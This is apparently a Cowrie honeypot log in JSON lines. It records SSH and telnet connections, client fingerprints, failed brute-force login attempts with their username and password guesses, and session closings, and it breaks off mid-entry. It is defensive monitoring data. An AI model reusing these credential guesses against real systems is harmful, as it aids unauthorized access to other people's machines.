{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:51.663124Z","src_ip":"162.144.105.39","session":"3b9251914abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&*","message":"login attempt [root/qwerty@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:43:51.930463Z","src_ip":"162.144.105.39","session":"3b9251914abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":33752,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a3bca72edc","protocol":"ssh","message":"New connection: 209.99.190.200:33752 (10.17.0.5:22) [session: 51a3bca72edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.038525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.042238Z","src_ip":"209.99.190.200","session":"51a3bca72edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.139920Z","src_ip":"209.99.190.200","session":"51a3bca72edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59514,"dst_ip":"10.17.0.5","dst_port":22,"session":"99493a5b14b2","protocol":"ssh","message":"New connection: 109.91.4.177:59514 (10.17.0.5:22) [session: 99493a5b14b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.508047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.511257Z","src_ip":"109.91.4.177","session":"99493a5b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"q1w2e3","message":"login attempt [postgres/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.562359Z","src_ip":"209.99.190.200","session":"51a3bca72edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:05.617565Z","src_ip":"109.91.4.177","session":"99493a5b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s0p0rt3","message":"login attempt [root/s0p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:06.366454Z","src_ip":"109.91.4.177","session":"99493a5b14b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:06.662128Z","src_ip":"209.99.190.200","session":"51a3bca72edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:07.474109Z","src_ip":"109.91.4.177","session":"99493a5b14b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:11.418442Z","src_ip":"162.144.105.39","session":"3b9251914abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.978824853897095,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:24.715713Z","src_ip":"170.64.224.25","session":"1a018492afb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00550317764282,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:28.900559Z","src_ip":"170.64.224.25","session":"34dacb4dc524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":58068,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c4af4131639","protocol":"ssh","message":"New connection: 159.65.58.200:58068 (159.203.135.109:22) [session: 1c4af4131639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:41.494641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:41.807976Z","src_ip":"159.65.58.200","session":"1c4af4131639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:41.811028Z","src_ip":"159.65.58.200","session":"1c4af4131639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sim","password":"123456","message":"login attempt [sim/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:43.320268Z","src_ip":"159.65.58.200","session":"1c4af4131639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:44.515243Z","src_ip":"159.65.58.200","session":"1c4af4131639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":47572,"dst_ip":"10.17.0.5","dst_port":22,"session":"5631efccd56b","protocol":"ssh","message":"New connection: 80.94.92.55:47572 (10.17.0.5:22) [session: 5631efccd56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:49.245160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:49.416576Z","src_ip":"80.94.92.55","session":"5631efccd56b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:49.419758Z","src_ip":"80.94.92.55","session":"5631efccd56b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:50.667341Z","src_ip":"80.94.92.55","session":"5631efccd56b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:44:52.125012Z","src_ip":"80.94.92.55","session":"5631efccd56b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52044,"dst_ip":"10.17.0.5","dst_port":22,"session":"70265d8671f9","protocol":"ssh","message":"New connection: 103.77.242.62:52044 (10.17.0.5:22) [session: 70265d8671f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:08.971762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:08.975587Z","src_ip":"103.77.242.62","session":"70265d8671f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:09.209982Z","src_ip":"103.77.242.62","session":"70265d8671f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karina06","message":"login attempt [root/karina06] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:09.912870Z","src_ip":"103.77.242.62","session":"70265d8671f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:11.154081Z","src_ip":"103.77.242.62","session":"70265d8671f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":38516,"dst_ip":"10.17.0.5","dst_port":22,"session":"688639132993","protocol":"ssh","message":"New connection: 38.148.249.2:38516 (10.17.0.5:22) [session: 688639132993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:14.150109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:14.154343Z","src_ip":"38.148.249.2","session":"688639132993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:14.223288Z","src_ip":"38.148.249.2","session":"688639132993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.abc","message":"login attempt [root/123456.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:14.535182Z","src_ip":"38.148.249.2","session":"688639132993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:15.608501Z","src_ip":"38.148.249.2","session":"688639132993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":54434,"dst_ip":"10.17.0.5","dst_port":22,"session":"3469926fdcb5","protocol":"ssh","message":"New connection: 209.99.190.200:54434 (10.17.0.5:22) [session: 3469926fdcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:39.493441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:39.497314Z","src_ip":"209.99.190.200","session":"3469926fdcb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:39.594362Z","src_ip":"209.99.190.200","session":"3469926fdcb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpusers","password":"ftpusers","message":"login attempt [ftpusers/ftpusers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:40.017565Z","src_ip":"209.99.190.200","session":"3469926fdcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:41.117272Z","src_ip":"209.99.190.200","session":"3469926fdcb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":65082,"dst_ip":"10.17.0.5","dst_port":22,"session":"c06485121700","protocol":"ssh","message":"New connection: 109.91.4.177:65082 (10.17.0.5:22) [session: c06485121700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:57.765938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:57.769451Z","src_ip":"109.91.4.177","session":"c06485121700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS"